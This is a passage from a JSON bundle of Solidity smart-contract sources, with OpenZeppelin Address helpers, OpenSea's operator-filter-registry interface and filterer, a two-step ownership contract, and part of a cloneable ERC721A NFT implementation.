target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n /**\n * @notice Returns true if operator is not filtered for a given token, either by address or codeHash. Also returns\n * true if supplied registrant address is not registered.\n */\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n\n /**\n * @notice Registers an address with the registry. May be called by address itself or by EIP-173 owner.\n */\n function register(address registrant) external;\n\n /**\n * @notice Registers an address with the registry and \"subscribes\" to another address's filtered operators and codeHashes.\n */\n function registerAndSubscribe(address registrant, address subscription) external;\n\n /**\n * @notice Registers an address with the registry and copies the filtered operators and codeHashes from another\n * address without subscribing.\n */\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Unregisters an address with the registry and removes its subscription. May be called by address itself or by EIP-173 owner.\n * Note that this does not remove any filtered addresses or codeHashes.\n * Also note that any subscriptions to this registrant will still be active and follow the existing filtered addresses and codehashes.\n */\n function unregister(address addr) external;\n\n /**\n * @notice Update an operator address for a registered address - when filtered is true, the operator is filtered.\n */\n function updateOperator(address registrant, address operator, bool filtered) external;\n\n /**\n * @notice Update multiple operators for a registered address - when filtered is true, the operators will be filtered. Reverts on duplicates.\n */\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n\n /**\n * @notice Update a codeHash for a registered address - when filtered is true, the codeHash is filtered.\n */\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n\n /**\n * @notice Update multiple codeHashes for a registered address - when filtered is true, the codeHashes will be filtered. Reverts on duplicates.\n */\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n\n /**\n * @notice Subscribe an address to another registrant's filtered operators and codeHashes. Will remove previous\n * subscription if present.\n * Note that accounts with subscriptions may go on to subscribe to other accounts - in this case,\n * subscriptions will not be forwarded. Instead the former subscription's existing entries will still be\n * used.\n */\n function subscribe(address registrant, address registrantToSubscribe) external;\n\n /**\n * @notice Unsubscribe an address from its current subscribed registrant, and optionally copy its filtered operators and codeHashes.\n */\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n\n /**\n * @notice Get the subscription address of a given registrant, if any.\n */\n function subscriptionOf(address addr) external returns (address registrant);\n\n /**\n * @notice Get the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscribers(address registrant) external returns (address[] memory);\n\n /**\n * @notice Get the subscriber at a given index in the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscriberAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Copy filtered operators and codeHashes from a different registrantToCopy to addr.\n */\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Returns true if operator is filtered by a given address or its subscription.\n */\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n\n /**\n * @notice Returns true if the hash of an address's code is filtered by a given address or its subscription.\n */\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n\n /**\n * @notice Returns true if a codeHash is filtered by a given address or its subscription.\n */\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n\n /**\n * @notice Returns a list of filtered operators for a given address or its subscription.\n */\n function filteredOperators(address addr) external returns (address[] memory);\n\n /**\n * @notice Returns the set of filtered codeHashes for a given address or its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n\n /**\n * @notice Returns the filtered operator at the given index of the set of filtered operators for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Returns the filtered codeHash at the given index of the list of filtered codeHashes for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n\n /**\n * @notice Returns true if an address has registered\n */\n function isRegistered(address addr) external returns (bool);\n\n /**\n * @dev Convenience method to compute the code hash of an arbitrary contract\n */\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"lib/operator-filter-registry/src/lib/Constants.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.17;\n\naddress constant CANONICAL_OPERATOR_FILTER_REGISTRY_ADDRESS = 0x000000000000AAeB6D7670E522A718067333cd4E;\naddress constant CANONICAL_CORI_SUBSCRIPTION = 0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6;\n"
},
"lib/operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFiltererUpgradeable} from \"./OperatorFiltererUpgradeable.sol\";\nimport {CANONICAL_CORI_SUBSCRIPTION} from \"../lib/Constants.sol\";\n\n/**\n * @title DefaultOperatorFiltererUpgradeable\n * @notice Inherits from OperatorFiltererUpgradeable and automatically subscribes to the default OpenSea subscription\n * when the init function is called.\n */\nabstract contract DefaultOperatorFiltererUpgradeable is OperatorFiltererUpgradeable {\n /// @dev The upgradeable initialize function that should be called when the contract is being deployed.\n function __DefaultOperatorFilterer_init() internal onlyInitializing {\n OperatorFiltererUpgradeable.__OperatorFilterer_init(CANONICAL_CORI_SUBSCRIPTION, true);\n }\n}\n"
},
"lib/operator-filter-registry/src/upgradeable/OperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"../IOperatorFilterRegistry.sol\";\nimport {Initializable} from \"../../../../lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title OperatorFiltererUpgradeable\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry when the init function is called.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFiltererUpgradeable is Initializable {\n /// @notice Emitted when an operator is not allowed.\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n /// @dev The upgradeable initialize function that should be called when the contract is being upgraded.\n function __OperatorFilterer_init(address subscriptionOrRegistrantToCopy, bool subscribe)\n internal\n onlyInitializing\n {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isRegistered(address(this))) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n }\n\n /**\n * @dev A helper modifier to check if the operator is allowed.\n */\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n /**\n * @dev A helper modifier to check if the operator approval is allowed.\n */\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n /**\n * @dev A helper function to check if the operator is allowed.\n */\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n // under normal circumstances, this function will revert rather than return false, but inheriting or\n // upgraded contracts may specify their own OperatorFilterRegistry implementations, which may behave\n // differently\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"lib/utility-contracts/src/ConstructorInitializable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\n/**\n * @author emo.eth\n * @notice Abstract smart contract that provides an onlyUninitialized modifier which only allows calling when\n * from within a constructor of some sort, whether directly instantiating an inherting contract,\n * or when delegatecalling from a proxy\n */\nabstract contract ConstructorInitializable {\n error AlreadyInitialized();\n\n modifier onlyConstructor() {\n if (address(this).code.length != 0) {\n revert AlreadyInitialized();\n }\n _;\n }\n}\n"
},
"lib/utility-contracts/src/TwoStepOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\nimport {ConstructorInitializable} from \"./ConstructorInitializable.sol\";\n\n/**\n@notice A two-step extension of Ownable, where the new owner must claim ownership of the contract after owner initiates transfer\nOwner can cancel the transfer at any point before the new owner claims ownership.\nHelpful in guarding against transferring ownership to an address that is unable to act as the Owner.\n*/\nabstract contract TwoStepOwnable is ConstructorInitializable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address internal potentialOwner;\n\n event PotentialOwnerUpdated(address newPotentialAdministrator);\n\n error NewOwnerIsZeroAddress();\n error NotNextOwner();\n error OnlyOwner();\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n constructor() {\n _initialize();\n }\n\n function _initialize() private onlyConstructor {\n _transferOwnership(msg.sender);\n }\n\n ///@notice Initiate ownership transfer to newPotentialOwner. Note: new owner will have to manually acceptOwnership\n ///@param newPotentialOwner address of potential new owner\n function transferOwnership(address newPotentialOwner)\n public\n virtual\n onlyOwner\n {\n if (newPotentialOwner == address(0)) {\n revert NewOwnerIsZeroAddress();\n }\n potentialOwner = newPotentialOwner;\n emit PotentialOwnerUpdated(newPotentialOwner);\n }\n\n ///@notice Claim ownership of smart contract, after the current owner has initiated the process with transferOwnership\n function acceptOwnership() public virtual {\n address _potentialOwner = potentialOwner;\n if (msg.sender != _potentialOwner) {\n revert NotNextOwner();\n }\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n _transferOwnership(_potentialOwner);\n }\n\n ///@notice cancel ownership transfer\n function cancelOwnershipTransfer() public virtual onlyOwner {\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (_owner != msg.sender) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"src/clones/ERC721ACloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\nimport { IERC721A } from \"ERC721A/IERC721A.sol\";\n\nimport {\n Initializable\n} from \"openzeppelin-contracts-upgradeable/proxy/utils/Initializable.sol\";\n\n/**\n * @dev Interface of ERC721 token receiver.\n */\ninterface ERC721A__IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\n/**\n * @title ERC721A\n *\n * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)\n * Non-Fungible Token Standard, including the Metadata extension.\n * Optimized for lower gas during batch mints.\n *\n * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)\n * starting from `_startTokenId()`.\n *\n * Assumptions:\n *\n * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.\n * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).\n */\ncontract ERC721ACloneable is IERC721A, Initializable {\n // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).\n struct TokenApprovalRef {\n address value;\n }\n\n // =============================================================\n // CONSTANTS\n // =============================================================\n\n // Mask of an entry in packed address data.\n uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n // The bit position of `numberMinted` in packed address data.\n uint256 private constant _BITPOS_NUMBER_MINTED = 64;\n\n // The bit position of `numberBurned` in packed address data.\n uint256 private constant _BITPOS_NUMBER_BURNED = 128;\n\n // The bit position of `aux` in packed address data.\n uint256 private constant _BITPOS_AUX = 192;\n\n // Mask of all 256 bits in packed address data except the 64 bits for `aux`.\n uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n // The bit position of `startTimestamp` in packed ownership.\n uint256 private constant _BITPOS_START_TIMESTAMP = 160;\n\n // The bit mask of the `burned` bit in packed ownership.\n uint256 private constant _BITMASK_BURNED = 1 << 224;\n\n // The bit position of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;\n\n // The bit mask of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n // The bit position of `extraData` in packed ownership.\n uint256 private constant _BITPOS_EXTRA_DATA = 232;\n\n // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.\n uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n // The mask of the lower 160 bits for addresses.\n uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;\n\n // The maximum `quantity` that can be minted with {_mintERC2309}.\n // This limit is to prevent overflows on the address data entries.\n // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}\n // is required to cause an overflow, which is unrealistic.\n uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n // The `Transfer` event signature is given by:\n // `keccak256(bytes(\"Transfer(address,address,uint256)\"))`.\n bytes32 private constant _TRANSFER_EVENT_SIGNATURE =\n 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;\n\n // =============================================================\n // STORAGE\n // =============================================================\n\n // The next token ID to be minted.\n uint256 private _currentIndex;\n\n // The number of tokens burned.\n uint256 private _burnCounter;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to ownership details\n // An empty struct value does not necessarily mean the token is unowned.\n // See {_packedOwnershipOf} implementation for details.\n //\n // Bits Layout:\n // - [0..159] `addr`\n // - [160..223] `startTimestamp`\n // - [224] `burned`\n // - [225] `nextInitialized`\n // - [232..255] `extraData`\n mapping(uint256 => uint256) private _packedOwnerships;\n\n // Mapping owner address to address data.\n //\n // Bits Layout:\n // - [0..63] `balance`\n // - [64..127] `numberMinted`\n // - [128..191] `numberBurned`\n // - [192..255] `aux`\n mapping(address => uint256) private _packedAddressData;\n\n // Mapping from token ID to approved address.\n mapping(uint256 => TokenApprovalRef) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n // =============================================================\n // CONSTRUCTOR\n // =============================================================\n\n function __ERC721ACloneable__init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n _currentIndex = _startTokenId();\n }\n\n // =============================================================\n // TOKEN COUNTING OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the starting token ID.\n * To change the starting token ID, please override this function.\n */\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n /**\n * @dev Returns the next token ID to be minted.\n */\n function _nextTokenId() internal view virtual returns (uint256) {\n return _currentIndex;\n }\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n // Counter underflow is impossible as _burnCounter cannot be incremented\n // more than `_currentIndex - _startTokenId()` times.\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total amount of tokens minted in the contract.\n */\n function _totalMinted() internal view virtual returns (uint256) {\n // Counter underflow is impossible as `_currentIndex` does not decrement,\n // and it is initialized to `_startTokenId()`.\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total number of tokens burned.\n */\n function _totalBurned() internal view virtual returns (uint256) {\n return _burnCounter;\n }\n\n // =============================================================\n // ADDRESS DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner)\n public\n view\n virtual\n override\n returns (uint256)\n {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens minted by `owner`.\n */\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens burned by or on behalf of `owner`.\n */\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n */\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> _BITPOS_AUX);\n }\n\n /**\n * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n * If there are multiple variables, please pack them into a uint64.\n */\n function _setAux(address owner, uint64 aux) internal virtual {\n uint256 packed = _packedAddressData[owner];\n uint256 auxCasted;\n // Cast `aux` with assembly to avoid redundant masking.\n assembly {\n auxCasted := aux\n }\n packed =\n (packed & _BITMASK_AUX_COMPLEMENT) |\n (auxCasted << _BITPOS_AUX);\n _packedAddressData[owner] = packed;\n }\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override\n returns (bool)\n {\n // The interface IDs are constants representing the first 4 bytes\n // of the XOR of all function selectors in the interface.\n // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)\n // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)\n return\n interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.\n interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.\n interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.\n }\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, it can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n // =============================================================\n // OWNERSHIPS OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n /**\n * @dev Gas spent here starts off proportional to the maximum mint batch size.\n * It gradually moves to O(1) as tokens get transferred around over time.\n */\n function _ownershipOf(uint256 tokenId)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct at `index`.\n */\n function _ownershipAt(uint256 index)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n /**\n * @dev Initializes the ownership slot minted at `index` for efficiency purposes.\n */\n function _initializeOwnershipAt(uint256 index) internal virtual {\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n /**\n * Returns the packed ownership data of `tokenId`.\n */\n function _packedOwnershipOf(uint256 tokenId)\n private\n view\n returns (uint256)\n {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr) {\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n // If not burned.\n if (packed & _BITMASK_BURNED == 0) {\n // Invariant:\n // There will always be an initialized ownership slot\n // (i.e. `ownership.addr != address(0) && ownership.burned == false`)\n // before an unintialized ownership slot\n // (i.e. `ownership.addr == address(0) && ownership.burned == false`)\n // Hence, `curr` will not underflow.\n //\n // We can directly compare the packed value.\n // If the address is zero, packed will be zero.\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct from `packed`.\n */\n function _unpackedOwnership(uint256 packed)\n private\n pure\n returns (TokenOwnership memory ownership)\n {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);\n ownership.burned = packed & _BITMASK_BURNED != 0;\n ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);\n }\n\n /**\n * @dev Packs ownership data into a single uint256.\n */\n function _packOwnershipData(address owner, uint256 flags)\n private\n view\n returns (uint256 result)\n {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.\n result := or(\n owner,\n or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n /**\n * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.\n */\n function _nextInitializedFlag(uint256 quantity)\n private\n pure\n returns (uint256 result)\n {\n // For branchless setting of the `nextInitialized` flag.\n assembly {\n // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.\n result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n // =============================================================\n // APPROVAL OPERATIONS\n // =============================================================\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ownerOf(tokenId);\n\n if (_msgSenderERC721A() != owner) {\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n }\n\n _tokenApprovals[tokenId].value = to;\n emit Approval(owner, to, tokenId);\n }\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId].value;\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n virtual\n override\n {\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted. See {_mint}.\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex && // If within bounds,\n _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.\n }\n\n /**\n * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.\n */\n function _isSenderApprovedOrOwner(\n address approvedAddress,\n address owner,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.\n msgSender := and(msgSender, _BITMASK_ADDRESS)\n // `msgSender == owner || msgSender == approvedAddress`.\n result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))\n }\n }\n\n /**\n * @dev Returns the storage slot and value for the approved address of `tokenId`.\n */\n function _getApprovedSlotAndAddress(uint256 tokenId)\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];\n // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.\n assembly {\n approvedAddressSlot := tokenApproval.slot\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n // =============================================================\n // TRANSFER OPERATIONS\n // =============================================================\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address 